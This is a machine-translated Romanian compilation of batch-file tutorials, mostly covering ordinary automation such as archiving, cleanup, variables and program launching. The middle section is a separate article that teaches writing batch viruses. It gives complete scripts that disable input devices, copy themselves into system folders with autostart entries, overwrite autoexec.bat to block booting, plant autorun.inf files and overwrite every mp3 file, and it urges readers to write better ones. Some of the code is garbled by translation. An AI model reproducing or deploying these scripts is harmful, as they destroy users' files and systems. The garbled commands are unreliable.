Internet Windows Android

Liliecii sunt folositori. Fișiere bat, exemple

În acest articol ne vom uita la un lucru atât de util ca „ fișier batch" Să definim mai întâi ce este un fișier bat. Fișierele batch sau batch sunt fișiere text simple care conțin seturi de comenzi ( instrucțiuni) interpret și având extensia bat sau cmd ( cmd funcționează numai în sistemele de operare din familia NT). Puteți crea și edita astfel de fișiere folosind un blocnotes obișnuit sau orice alt editor de text.

Acum vă puteți întreba, de ce trebuie să puteți scrie astfel de fișiere bat? Și de ce sunt necesare? Voi încerca să explic.

În primul rând, ele sunt folosite pentru a ușura munca, de exemplu. de exemplu, trebuie să efectuați în mod constant unele operații în fiecare zi ( de exemplu, creați o arhivă a anumitor documente), cu ajutorul unui fișier de corp, acesta poate fi automatizat și nu veți mai participa la el.

În al doilea rând, aceste fișiere batch sunt foarte puternice ( dacă, desigur, știi să le scrii), adică Puteți chiar să scrieți un program bun ( Adică din punct de vedere al funcționalității). Personal, mă ajută foarte mult în munca mea și pur și simplu am uitat de unele lucruri când le-am făcut manual.

Acum să trecem direct la elementele de bază ale acestor fișiere batch. Cum sunt create trebuie doar să creați un document text simplu, să îl deschideți și să accesați imediat fila „ Fișier->salvare ca", introduceți în loc de extensie " Text document.txt", De exemplu " Document text.bat" și salvați, așa că obținem un fișier batch cu extensia .bat, dar încă nu face nimic.

Pentru început, voi da un exemplu de fișier batch pe care îl folosesc la locul meu de muncă pentru a arhiva documente.

„C:\Program Files\WinRAR\winrar.exe” a -r -dh -ed -agYYYY-mm-dd E:\arhaccounts\ d:\accounts\*.doc „C:\Program Files\WinRAR\winrar. exe" a -r -dh -ed -agYYYY-mm-dd E:\arhaccounts\ d:\accounts\*.xls "C:\Program Files\WinRAR\winrar.exe" a -r -dh -ed -agYYYY -mm-dd E:\arhaccounts\ d:\accounts\*.txt

Acum vă voi spune puțin despre ceea ce face acest fișier batch. WinRar pornește, apoi urmează comenzile Winrar:

  • a este de adăugat la arhivă;
  • -r - procesează subfolderele;
  • -dh - deschide fișierele partajate;
  • -ed - nu adăugați foldere goale;
  • AAAA-mm-zz - adăugați data curentă la numele arhivei ( formatul datei);
  • E:\arhaccounts\ - calea unde va fi amplasată arhiva finală;
  • d:\accounts\*.doc — calea și masca fișierelor care trebuie arhivate.

În acest caz, arhivăm toate fișierele Word, Excel și text, nu trebuie să arhivăm restul; Arhivarea noastră merge pe un alt disc și copiam și arhiva rezultată pe alt computer, astfel încât arhivele să fie stocate într-un alt birou. Copierea are loc prin rețea, astfel încât computerul pe care este copiată arhiva trebuie să fie pornit. Pentru a face acest lucru, puteți folosi următoarea comandă:

Copiați E:\arhaccounts\*.rar \\namecomp\arhiv\

Exemple de comenzi pentru fișierele bat

Acum să ne uităm la comenzile de bază pe care le puteți utiliza.

Dacă trebuie să ștergeți un fișier, scrieți următoarele:

Del d:\file\test.doc

Pentru a șterge întregul director, scrieți:

Rd d:\fișier\

Dacă trebuie să ștergeți totul dintr-un director de fiecare dată, atunci utilizați asta:

Eco Y| del d:\file\

  • del d:\file\ - aceasta este tocmai ștergerea tuturor fișierelor;
  • ecou Y| — comanda confirmă ștergerea deoarece Dacă nu introduceți această comandă, veți vedea un mesaj care confirmă ștergerea - „Continuați”, și va trebui să răspundeți la această întrebare de fiecare dată.

Acum să ne uităm la un exemplu mai complicat, în care condiția este deja îndeplinită:

@echo off „C:\Program Files\WinRAR\winrar.exe” x -O+ -IBCK d:\test\test.rar d:\test IF NOT EXIST d:\test\123.rar GOTO 1 IF EXIST d: \test\123.rar GOTO 2:2 "C:\Program Files\WinRAR\winrar.exe" x -O+ -IBCK d:\test\123.rar c:\ del d:\test\123.rar:1 del d:\test\test.rar end

Acum vă voi explica, să presupunem că trebuie să dezarhivați arhiva test.rar, care va conține multe fișiere, dar dacă există un fișier 123.rar acolo, va trebui să fie dezarhivat la rădăcina unității C și restul fișierelor vor rămâne neatins în același director.

În ordine, este necesară comanda @echo off, astfel încât nimic să nu se reflecte pe ecran ( practic, dacă nu aveți nevoie, puteți omite să scrieți această linie). Apoi, lansăm Winrar și despachetăm arhiva test.rar în folderul de testare. Apoi apare condiția dacă în folderul de testare ( după testul de despachetare.rar) nu avem fișierul 123.rar, apoi pur și simplu executăm fișierul batch și mergem la linia: 1 și apoi pur și simplu ștergem fișierul test.rar deoarece nu este necesar deoarece Am despachetat deja tot ce avem nevoie. Dar dacă există un fișier 123.rar acolo, atunci execuția fișierului batch merge la linia: 2, după care fișierul 123.rar este deja despachetat la rădăcina unității C. Cu alte cuvinte, avem condiția îndeplinită , dacă există un fișier, atunci faceți acest lucru, dacă nu există niciun fișier, faceți acest lucru. Să presupunem că dacă nu specificăm condiția în acest exemplu, atunci fișierul nostru batch va da o eroare atunci când nu avem fișierul 123.rar în acest folder.

Acum să ne uităm la acest exemplu, să presupunem că trebuie să mutați fișierele dintr-un director situat pe unitatea D pe o unitate flash de fiecare dată. De fiecare dată, va trebui să accesați unitatea D a computerului meu, să selectați folderul dorit, să selectați toate fișierele din acesta și să-l tăiați, apoi să mergeți la unitatea flash și să-l lipiți. Cu ajutorul unui fișier de corp, acest lucru se face cu un singur clic ( cu o condiție ca de fiecare dată unitatea flash să fie, de exemplu, disc G sau orice ai). Iată un exemplu de astfel de fișier batch:

Mutați „D:\catalog\*.doc” G:\catalognaflehe\

Și toate fișierele cu extensia doc care se află în directorul D:\catalog vor fi mutate pe unitatea flash. Acum vreau să spun că puteți folosi scripturi în fișiere batch ( scenarii) folosind Windows Scripting Host și, dacă este necesar, de exemplu, pentru a afișa un mesaj după ce fișierele au fost copiate ( exemplul anterior) lipiți asta:

Echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js echo WSHShell.Popup(„Fișiere copiate”); >> %temp%\mes.js start %temp%\mes.js deltree /y %temp%\mes.js

De fapt, se poate vorbi mult despre scrierea fișierelor batch și, bineînțeles, acest lucru nu poate fi încadrat într-un articol aici am arătat doar principiile care sunt folosite la scrierea fișierelor batch, baza, ca să spunem așa; Dacă doriți să aflați mai multe comenzi pentru scrierea fișierelor batch, le puteți vizualiza cu ușurință tastând ( Start - Run - cmd) comanda help, dar, desigur, nu există toate comenzile care pot fi folosite în fișierele batch. Succes la scrierea fișierelor BAT ( cămăși de corp).

După cum a arătat experiența, fișierele batch, de ex. fișiere batch sunt foarte populare printre administratorii de sistem care le folosesc în scopuri de automatizare. Și astăzi continuăm să studiem aceleași fișiere de lilieci nu vom lua în considerare elementele de bază, ci vom trece la lucruri mai avansate.

În primul articol Scrierea fișierelor batch - exemple de fișiere batch, ne-am uitat la exemple simple de utilizare a fișierelor batch, dar după cum s-a dovedit, scrierea fișierelor batch este foarte interesantă pentru aproape toată lumea și toată lumea vrea să învețe ceva mai complex, cu ajutorul căruia poate simplifica și mai mult automatizarea unor procese.

Exemplul 1 – ștergerea arhivelor vechi

Când arhivează ceva, mulți oameni sunt interesați de întrebarea „ Cum să ștergeți arhivele vechi, deoarece nu mai sunt necesare folosind un fișier batch? " De exemplu, toate sunt într-un singur folder și trebuie să ștergeți toate arhivele care au mai mult de 14 zile. După ce am citit manualele și am navigat pe internet, pot sugera următoarea metodă.

Puteți face astfel încât doar un anumit număr de arhive să fie stocate în folderul cu arhive, respectiv cele mai recente ( acestea. doar în cazul nostru în ultimele 2 săptămâni).

Acest lucru se face folosind două comenzi. Primul este DIR, adică. pur și simplu citim toate fișierele dintr-un singur folder și le scriem numele într-un fișier text.

dir D:\arhiv\*.rar /a:-D/b/o:-D > list_of_files.txt

  • dir D:\arhiv\*.rar– asta înseamnă că citim toate arhivele rar din folderul D:\arhiv\;
  • /anunț– asta înseamnă că vor fi afișate toate fișierele cu atributele specificate, tasta -D înseamnă că avem nevoie doar de fișiere, nu de directoare, prefixul „-” înseamnă doar negație, adică. nu directoare, dacă am scrie doar D, atunci ar citi și directoare;
  • /b– aceasta este rezultatul numai a numelor de fișiere;
  • /o:-D– aceasta este sortare, tasta –D înseamnă că sortarea se va face după dată, dar mai întâi cele mai vechi, pentru a remedia asta știm deja că ne va ajuta prefixul „-”;
  • > — înseamnă că rezultatul va fi redirecționat către fișierul list_of_files.txt, îl puteți denumi diferit.

Așa că ne-am numărat toate arhivele și le-am scris într-un fișier, apoi trebuie să parcurgem toate aceste fișiere și să lăsăm doar 14 bucăți, adică. în ultimele 2 săptămâni. Facem acest lucru folosind comanda PENTRU, este un fel de buclă care efectuează o acțiune specifică pentru fiecare fișier dintr-un folder sau fiecare linie dintr-un fișier, ca în cazul nostru.

  • pentru– echipa în sine pentru perete;
  • /F „skip=13”– aceasta este o cheie cu un parametru care înseamnă că primele 13 fișiere nu trebuie procesate, adică le sarim peste. De ce 13 și nu 14 da pentru că arhiva 14 ( acestea. de astăzi, care ar trebui creat la executarea acestui fișier batch) nu a fost încă creat, deci 13;
  • %%i– o variabilă care stochează numele fișierului curent;
  • În (list_of_files.txt)– înseamnă că iterează peste toate liniile din acest fișier special;
  • face (del /Q "%%i")- spune ce trebuie făcut cu fiecare, în cazul nostru pur și simplu ștergem aceste fișiere folosind tasta del /Q /Q, astfel încât să nu ni se ceară confirmarea înainte de ștergere. Pentru teste, sfătuiesc să înlocuiți del /Q cu echo, adică doar afișați acele fișiere.

În total, avem acest fișier batch:

dir D:\arhiv\*.rar /a:-D/b/o:-D > list_of_files.txt

pentru /F „skip=13” %%i în (list_of_files.txt) do (del /Q „%%i”)

În consecință, după aceste rânduri puteți scrie codul de arhivare în sine, iar în final vom obține că în folderul nostru vor fi stocate doar 14 arhive, desigur, cele mai recente.

Exemplul 2 - Utilizarea variabilelor

Puteți folosi chiar și variabile în fișiere batch, la fel ca într-un limbaj de programare real. Să luăm în considerare cel mai simplu exemplu de utilizare a variabilelor, de exemplu, dorim să înmulțim cu 2 numărul pe care îl introducem în câmp când rulăm fișierul batch.

@echo dezactivat

SET /a c=%a%*%b%

eco %c%

După cum înțelegeți, variabilele sunt setate folosind comanda SET. Pentru a utiliza variabila în viitor, inserăm un semn de procent (%) pe ambele părți ale variabilei, astfel încât linia de comandă să înțeleagă că aceasta este o variabilă.

  • @echo dezactivat– pentru ca comenzile noastre să nu fie afișate pe ecran;
  • SET a=2– pur și simplu setăm variabila „a” la o valoare;
  • SET /p b=[introduceți al doilea număr de înmulțit]– setăm variabila „b” la valoarea pe care o introducem în câmp, astfel încât lucrătorul de lot să înțeleagă că vrem să introducem singuri valoarea variabilei, se folosește tasta /p;
  • SET /a c=%a%*%b%— setăm variabila „c” la rezultatul expresiei noastre ( în exemplul nostru aceasta este înmulțirea);
  • eco %c%— afișați valoarea variabilei „c”;
  • pauză- întrerupem pur și simplu execuția fișierului nostru bat pentru a vedea pur și simplu toate rezultatele.

Apropo, pentru ca literele rusești să fie afișate normal pe linia de comandă, salvați fișierul bat în codificarea DOS-866.

Am sortat variabilele, acum să aplicăm acest lucru la primul nostru exemplu, să presupunem că vrem să lăsăm nu 14 arhive, ci numărul pe care îl dorim, pentru aceasta, când lansați fișierul batch, vom introduce numărul de arhivele care trebuie salvate. Va arata cam asa:

@echo dezactivat

dir D:\test\*.rar /a:-D/b/o:-D > list_of_files.txt

pentru /F „skip=%chislo%” %%i în (list_of_files.txt) do (del /Q „%%i”)

Ei bine, așa ceva, desigur, în practică, s-ar putea să nu fie necesar, dar cel puțin am învățat cum să folosim variabilele.

Despre variabile, vreau să spun, de asemenea, că există variabile de sistem precum:

%DATA%— arată data curentă.

%TIMP%— arată ora curentă.

De exemplu, rulați următorul cod:

eco %DATE%

ecou %time:~0,-3%

Am scris variabila %TIME% exact în acest fel, pentru ca rezultatul să fie afișat într-o formă mai lizibilă, încercați să scrieți %TIME% și % TIME:~0.-3% pentru dvs., în al doilea caz ultimul 3 caractere vor fi eliminate.

De fapt, există mai multe variabile de sistem, acestea pot fi necesare mai des decât altele.

Exemplul 3 – Declarație de execuție condiționată IF

Ca și în alte limbi cu drepturi depline, puteți utiliza operatorul de execuție condiționată IF în fișierele batch. Să dăm un mic exemplu, fișierul batch pur și simplu verifică dacă fișierul există sau nu:

@echo dezactivat

DACĂ EXISTĂ test.txt (

Fișierul echo există

echo Nu există un astfel de fișier

DACĂ EXISTĂ test.txt– exact aici este verificat fișierul.

După, între paranteze, vine ce vrem să facem dacă fișierul există, iar dacă fișierul nu există, atunci după ELSE, vine ce trebuie făcut dacă fișierul nu există.

Acum să ne modificăm puțin exemplul înmulțind numărul pe care l-am introdus cu 2, pur și simplu, dacă introducem brusc zero, vom afișa mesajul corespunzător și vă vom cere să introduceți din nou numărul.

@echo dezactivat

SET /p b=[introduceți al doilea număr de înmulțit]

SET /a c=%a%*%b%

dacă %c%==0 (ecou ați introdus numărul 0, introduceți altul) altfel echo %c%

dacă %c%==0 (goto:metka)

Totul aici este deja familiar, singurul lucru este că atunci când comparăm variabila „c” operatorul de comparație == ( doi egali), deoarece pur și simplu egal (=) este un operator de atribuire. Dacă ați observat, am folosit aici operatorul goto, adică. treceți la eticheta dorită. Cu alte cuvinte, punem o etichetă și, în funcție de rezultatul verificării stării, se va efectua trecerea la eticheta dorită.

Acum aș dori să observ că mulți oameni folosesc programul winrar în munca lor, de exemplu, pentru a crea o arhivă și, desigur, o folosesc în fișierele lor batch, dar mulți pun întrebări despre cheile care se referă la winrar. Nu confunda tastele winrar, ele sunt folosite doar pentru acest program, și nu pentru tot ce se află în fișierele batch, adică. linia de comandă, de exemplu, dacă utilizați 7zip, atunci tastele vor fi diferite. În ceea ce privește cheile winrar, cartea de referință completă și cea mai bună, după părerea mea, este, desigur, în winrare în sine. Pentru a vedea o descriere a tastelor winrar, deschideți programul winrar, accesați meniul Ajutor, apoi faceți clic pe „ Conţinut", apoi selectați linia " Modul linie de comandă”, unde va fi o descriere a tuturor cheilor, sunt date chiar și exemple simple. În consecință, dacă aveți versiunea în limba engleză a winrar, atunci sensul este același, doar totul va fi în engleză.

Aceasta încheie a doua parte a studierii fișierelor batch. Noroc!

Bună din nou, tânăr codificator-shkoder. Dacă ai citit ultimul meu articol intitulat „Învățare DOS”, atunci nu va fi nimic complicat pentru tine aici. Și dacă nu ați citit-o, atunci uitați-vă cu atenție la comentarii. Deci, să începem. Într-o zi stăteam și mă gândeam: nu ar trebui să fac un virus? Și din moment ce nu știam nimic în afară de QBarsik, iar DOS a fost al doilea meu... [Frate], ce crezi, pervers? :)~. ATUNCI am decis să scriu un virus pe el și s-a dovedit a nu fi atât de dificil.

Iată corpul primului meu virus

@echo dezactivat
tastatura rundll32, dezactivați
mouse-ul rundll32, dezactivați
copiați %0 %windir%/system
echo run=%windir%/system/*.bat >> win.ini
echo run=%windir%/system/*.bat >> system.ini
etichetă LOHOLAMMER

deltree /y c:\autoexec.bat > nul
echo autoexec.bat echo ESTI LAMMER...xe-xe-xe > c:\autoexec.bat
mouse-ul rundll32, activați
tastatură rundll32, activați
echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js
echo WSHShell.Popup(„Atenție,.. Computerul tău este infectat cu un virus și nu poți scăpa de el, hehehehe”); >> %temp%\mes.js
porniți %temp%\mes.js
deltree /y %temp%\mes.js

pauză
cls

O voi explica popular și pas cu pas:

1 @echo off - Interzicem ferestrei DOS să arate ce face scriptul.
2 rundll32 keyboard,disable - Dezactivează tastatura, în cazul în care utilizatorul înțelege ce se întâmplă și decide să apese CTRL+C
3 rundll32 mouse,disable - Dezactivați și mouse-ul, pentru orice eventualitate.
4 copy %0 %windir%/system - Copiați în folderul Windows/system
// %0 - Variabilă care indică fișierul original cu virus
// %windir% - dosar variabil Masday.
5 echo run=%windir%/system/*.bat >> %windir%\win.ini - Adaugă textul „run=%windir%/system/*.bat” în fișierul win.ini
6 echo run=%windir%/system/*.bat >> %windir%\system.ini - Adaugă textul „run=%windir%/system/*.bat” în fișierul system.ini
7 label LOHOLAMMER - Schimbă numele unității c:\ în „LOHOLAMMER”
8 dacă există c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r - Verificați dacă există un fișier c:\autoexec.bat apoi eliminați-l
//are atribute -h -s -a -r
9 deltree /y c:\autoexec.bat - Ștergeți fișierul c:\autoexec.bat, dacă nu eliminați atributele, programul nu va șterge fișierul.
10 echo autoexec.bat echo TU ARE LAMMER...xe-xe-xe > c:\autoexec.bat - Adăugați text „TU ARE LAMMER...xe-xe-xe”
//la un nou fișier autoexec.bat
11 rundll32 mouse,enable - Porniți-l, lăsați-l să creadă că nu s-a întâmplat nimic.
12 rundll32 keyboard, enable - Porniți-o, lăsați-l să creadă că nu s-a întâmplat nimic.
13 echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js
echo WSHShell.Popup(„Atenție,.. Computerul tău este infectat cu un virus și nu poți scăpa de el, hehehehe”); >> %temp%\mes.js
porniți %temp%\mes.js. //Acest text afișează o fereastră de mască cu inscripția
deltree /y %temp%\mes.js //Șterge apoi urmele de sine.
14 attrib c:\autoexec.bat +h +s +a +r - Face fișierul c:\autoexec.bat ascuns și fișierul de sistem, astfel încât lamerul să nu bănuiască nimic.
15 pauză - Vă rugăm să apăsați orice tastă (Nu este necesar să apăsați deoarece virusul și-a făcut deja treaba.)
16 cls - Hai sa iesim

Acest program, data viitoare când reporniți, nu va permite Windows să pornească și va scrie „Ești un lamer”. .Funcționează numai în Windows până la 2000.

@echo dezactivat
rundll32 user,setcursorpos //Elimină cursorul de pe ecran în colțul din stânga
tastatura rundll32, dezactivați //Anterior
mouse-ul rundll32, dezactivați //Anterior
utilizator rundll32,butonul mouse-ului. //Aici rearanjam butoanele mouse-ului
echo Se actualizează parametrii sistemului, vă rugăm să așteptați... // scrie o scuză :)
label mp_k //Modifică numele discului
copy mp_k.exe %windir% //Se copiează în folderul Windows
dacă există c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r
deltree /y c:\autoexec.bat
dacă există c:\io.sys echo autoexec.bat echo YOU_ARE_LAMMER....=[_H@CKED_BY_*_"SmallPox_Vir_Org"_] > c:\autoexec.bat
echo run = %windir%\mp_k.exe >> %windir%\win.ini
echo run = %windir%\mp_k.exe >> %windir%\system.ini
echo > c:\autorun.inf //Aceste operațiuni sunt în virusul anterior.
echo open=c:\autoexec.bat > c:\autorun.inf
echo > d:\autorun.inf
echo open=c:\autoexec.bat > d:\autorun.inf
mouse-ul rundll32, activați
tastatură rundll32, activați
echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js
echo WSHShell.Popup ("Atenție, .. Acum trebuie să reporniți"); >> %temp%\mes.js
porniți %temp%\mes.js
deltree /y %temp%\mes.js
atrib c:\autoexec.bat +h +s +a +r
atrib %windir%\mp_k.exe +h +s +a +r
atrib c:\autorun.inf +h +s +a +r
atrib d:\autorun.inf +h +s +a +r
deltree /y mp_k.exe
rmdir %windir%\temp //Șterge folderul temp
mkdir %windir%\temp //Creează folderul temp
cls

Și acum, ceva nou.

@echo dezactivat
cls
echo Vă rugăm să așteptați, se actualizează sistemul...
ctty nul. //Aceasta este o comandă nouă, dezactivează textul în fereastră.
exist %WINDIR%\SYSTEM\VMM32\%0 goto:end //Dacă virul a fost deja lansat, atunci lăsați-l să se lanseze din nou.
copiați %0 %WINDIR%\SYSTEM\VMM32
cd c:\ //Mergeți la alt director
pentru %%a în (*.mp3 c:\*.mp3 c:\MUZ\*.mp3 c:\My Music\*.mp3 ..\*.mp3) copiați /y %0 %%a // Înlocuiți toate fișierele mp3 din acest folder cu textul dvs
CD Muzica mea

cd My_Music
//Înlocuiește toate fișierele mp3 din acest folder cu textul tău
cd MyMusic
pentru %%a în (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) copiați /y %0 %%a //Înlocuiți totul în acest folder fișiere mp3 cu propriul text
CD Muzică
pentru %%a în (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) copiați /y %0 %%a //Înlocuiți totul în acest folder fișiere mp3 cu propriul text
CD Muzică
pentru %%a în (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) copiați /y %0 %%a //Înlocuiți totul în acest folder fișiere mp3 cu propriul text
cd Mouzon
pentru %%a în (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) copiați /y %0 %%a //Înlocuiți totul în acest folder fișiere mp3 cu propriul text
CD MUZ
pentru %%a în (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) copiați /y %0 %%a //Înlocuiți totul în acest folder fișiere mp3 cu propriul text
cd mp3
pentru %%a în (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) copiați /y %0 %%a //Înlocuiți totul în acest folder fișiere mp3 cu propriul text
cd d:\
pentru %%a în (*.mp3 c:\*.mp3 c:\MUZ\*.mp3 c:\My Music\*.mp3 ..\*.mp3) copiați /y %0 %%a
CD Muzica mea
pentru %%a în (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) copiați /y %0 %%a //Același lucru aici.
cd My_Music
pentru %%a în (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) copiați /y %0 %%a
cd MyMusic
pentru %%a în (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) copiați /y %0 %%a
CD Muzică
pentru %%a în (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) copiați /y %0 %%a
CD Muzică
pentru %%a în (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) copiați /y %0 %%a
cd Mouzon
pentru %%a în (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) copiați /y %0 %%a
CD MUZ
pentru %%a în (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) copiați /y %0 %%a
cd mp3
pentru %%a în (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) copiați /y %0 %%a
:end //Etichetă
start /m /w %WINDIR%\SYSTEM\VMM32\%0 //Porniți în modul minimizat
ctty con //Activați permisiunea de a afișa text în fereastră
echo Spune la revedere colecție de MP3:)) Virus //Linii de adio
cls //Exit.

ctty nul //S-a întâmplat așa
REM Chey† Ђь@uoњPSQRVW
?
‹tЌ
„Q_ь№ у¦u=
є №є њъ.я?ђ l,ђ ///
copiați %0 *.exe ///
copy %0 b.com>nul // Această tehnologie este preluată de la alt virus.
b.com. // Aceste mâzgălire interceptează fișierele care funcționează în prezent și le distrug.
del b.com. /// Acesta este textul ACM compilat în exe
rem_^ZY >
echo open=c:\autoexec.bat >> c:\autorun.inf //Si daca este acolo, infecteaza-l.
dacă există d:\io.sys //Verificarea disponibilității discului
ecou >
echo open=c:\autoexec.bat >> d:\autorun.inf //Si daca este acolo, infecteaza-l.
dacă există e:\io.sys //Verificarea disponibilității discului
ecou >
echo open=c:\autoexec.bat >> e:\autorun.inf //Si daca este acolo, infecteaza-l.
:end //Marcați începutul CM.
cls //Exit

Ce tipuri de viruși există? Iar scriitorii de viruși fac tot ce le stă în putință pentru a obține rezultatul dorit. După ce ai citit acest document, vei putea să scrii cu încredere un virus BAT, chiar mai bine decât al meu ; Ei bine, mult noroc să scrii virusul și mă voi abate și mă duc să beau bere%-).

Articolele sunt scrise exclusiv pentru a studia algoritmii virușilor și metodele de combatere a acestora. Algoritmii viruși au fost identificați prin decompilarea virușilor găsiți pe Internet și pe site-ul Kaspersky Lab.

Utilizarea unei interfețe grafice în sistemele de operare astăzi pare a fi ceva de la sine înțeles și complet natural, dar nu a fost întotdeauna cazul. Primul sistem de operare, MS DOS, dezvoltat de Microsoft, nu avea GUI și era controlat prin introducerea de comenzi text. Au trecut aproape 40 de ani de atunci, dar limbajul de scriptare în linia de comandă este încă popular și nu numai în rândul dezvoltatorilor.

Linia de comandă nu este atât de convenabilă, dar cu ajutorul ei puteți efectua operațiuni care nu sunt posibile din GUI. Pe de altă parte, lansarea consolei de fiecare dată, introducerea comenzilor în ea una după alta - toate acestea încetinesc foarte mult munca. Cu toate acestea, puteți simplifica în mod semnificativ sarcina creând un fișier bat sau pur și simplu un fișier batch - un fișier text cu extensia BAT care conține o listă de instrucțiuni procesate de interpretul de comandă CMD. Astfel de fișiere sunt folosite pentru a automatiza diverse sarcini, de exemplu, pentru a șterge fișiere temporare într-un program sau pentru a lansa programe.

Cum se creează un fișier cu extensia BAT

Deci, cum se creează un fișier bat în Windows 7/10? Foarte simplu. Pentru a face acest lucru, veți avea nevoie de orice editor de text și cunoștințe despre elementele de bază ale liniei de comandă. Puteți folosi Notepad, sau și mai bine, Notepad++, deoarece acesta din urmă are evidențierea sintaxelor. Creați un fișier nou în editor, selectați „Salvare ca” din meniul „Fișier”, dați un nume viitorului script și selectați „Fișier lot (*bat; *cmd; *nt)” în meniul „Tip de fișier” -lista jos.

Dacă doriți să utilizați Notepad pentru a crea un fișier bat, trebuie să atribuiți manual extensia și să selectați „Toate fișierele” din lista „Tip de fișier”.

După cum puteți vedea, crearea unui fișier cu extensia bat nu este dificilă, totuși, există câteva subtilități; Întreruperile de linie nu pot fi utilizate în fișierele de comandă; codarea fișierului bat trebuie setată la UTF-8 dacă corpul scriptului folosește codul chirilic;

În loc de extensia BAT, puteți folosi CMD, rezultatul executării scriptului va fi exact același.

Comenzi de bază, sintaxă și exemple de utilizare a fișierelor batch

Știi cum să faci un fișier bat, acum este timpul pentru partea cea mai interesantă, și anume sintaxa limbajului de interpret CMD. Este clar că un fișier batch gol nu va funcționa, nici măcar nu se va lansa când dai dublu clic pe el. Pentru ca scriptul să funcționeze, cel puțin o comandă trebuie să fie scrisă în el. Pentru un exemplu vizual, să vedem cum să scrieți un fișier bat pentru a lansa programe. Să presupunem că atunci când începi să lucrezi, lansezi trei programe de fiecare dată - Chrome, Firefox și VLC. Să simplificăm sarcina prin crearea unui script care va lansa aceste programe în sine la intervale de cinci secunde.

Deschideți un fișier batch gol și inserați următoarele comenzi în el:

Porniți "" "C:/Program Files/Google/Chrome/Application/chrome.exe" timeout /t 05 start "" "C:/Program Files/Mozilla Firefox/firefox.exe" timeout /t 05 start "" "C :/Fișiere de program/VideoLAN/VLC/vlc.exe”

Echipă start lansează fișierul executabil al programului dorit și comanda timeout/t stabilește intervalul dintre porniri. Atenție la plasarea ghilimelelor - acestea conțin căi care conțin spații. De asemenea, dacă există caractere chirilice în cale, ar trebui să inserați o comandă care modifică codificarea la începutul scriptului chcp 1251, altfel interpretul nu va putea citi corect calea.

Când rulați scriptul, se vor deschide secvențial patru ferestre de consolă, acest lucru este normal după executarea comenzilor, toate se vor închide automat, cu toate acestea, vă puteți asigura că se deschide doar prima fereastră; Pentru a face acest lucru, codul de lansare a aplicației ar trebui modificat după cum urmează:

Start /b "" "cale"

De asemenea, se poate întâmpla ca la un moment dat să fie necesară întreruperea execuției scriptului, astfel încât utilizatorul să poată decide dacă execută sau nu toate celelalte comenzi. Există o comandă pentru asta pauză. Încercați să înlocuiți timeout cu el și vedeți ce se întâmplă.

Start /b "" "cale" pauză

Să ne uităm la un alt exemplu de comenzi pentru un fișier bat. Să scriem un script care va opri computerul într-un caz și îl va reporni în altul. În aceste scopuri vom folosi comanda închide cu parametrii /s, /rȘi /t. Dacă doriți, puteți adăuga o solicitare de a efectua o acțiune în fișierul dvs. corporal, astfel:

@echo off chcp 1251 echo "Sunteți sigur că doriți să opriți computerul?" întrerupeți oprirea /s /t 0

Să explicăm. Prima comandă ascunde textul comenzilor în sine, a doua - setează codarea chirilică, a treia - afișează un mesaj pentru utilizator, a patra - setează o pauză, a cincea - se oprește și cu tasta /rîn loc de /s repornește computerul fără întârzierea tradițională de un minut. Dacă nu doriți să participați la ceremonie cu cereri și pauze, puteți lăsa doar a cincea comandă.

Dacă în loc de text rusesc când executați comanda vedeți kryakozyabra, încercați să convertiți fișierul script în ANSI.

Ce altceva poți face cu scripturile? O mulțime de lucruri, de exemplu, ștergerea, copierea sau mutarea fișierelor. Să presupunem că aveți un anumit folder de date în rădăcina unității D, al cărui conținut trebuie șters dintr-o singură lovitură. Deschideți fișierul batch și inserați următoarea comandă în el:

Del /A /F /Q "D:/data"

Sau poți face asta:

Forfiles /p "D:/data" /s /m *.* /c "cmd /c Del @path"

Spre deosebire de prima, a doua comandă șterge fișierele în mod recursiv, adică toate fișierele din folderul de date vor fi șterse plus cele aflate în subdirectoare.

Iată un alt exemplu util. Să scriem un script care va crea o copie de rezervă a conținutului unui folder și va salva datele în altul. Comanda este responsabilă pentru copiere robocopie:

Robocopy C:/data D:/backup /e pauză

Prin rularea unui astfel de fișier batch pentru execuție, veți copia întregul conținut al folderului de date în folderul de rezervă, inclusiv subdirectoarele, goale și cu fișiere. Apropo, comanda robocopy are mulți parametri care vă permit să configurați parametrii de copiere foarte flexibil.

Rulați fișierele bat ca administrator și într-un program, lansare ascunsă a liliecilor

Acum știți cum să creați fișiere batch și aveți o înțelegere generală a limbajului de interpret CMD. Acestea au fost elementele de bază, acum este timpul să vă familiarizați cu câteva caracteristici utile de lucru cu fișierele bat. Se știe că programele necesită drepturi de administrator pentru a efectua unele acțiuni. Batnikii ar putea avea nevoie și de ele. Cel mai evident mod de a rula un script ca administrator este să faceți clic dreapta pe el și să selectați opțiunea corespunzătoare din meniul contextual.

În plus, vă puteți asigura că un anumit fișier batch va fi întotdeauna lansat cu privilegii ridicate. Pentru a face acest lucru, trebuie să creați o comandă rapidă obișnuită către un astfel de script, să deschideți proprietățile acestuia, să faceți clic pe butonul „Avansat” și să bifați caseta de selectare „Run ca administrator” în fereastra care se deschide. Această metodă este, de asemenea, bună, deoarece vă permite să selectați orice pictogramă pentru scurtătură, în timp ce un fișier cu o extensie BAT sau CMD va avea întotdeauna un aspect nedescriptiv.

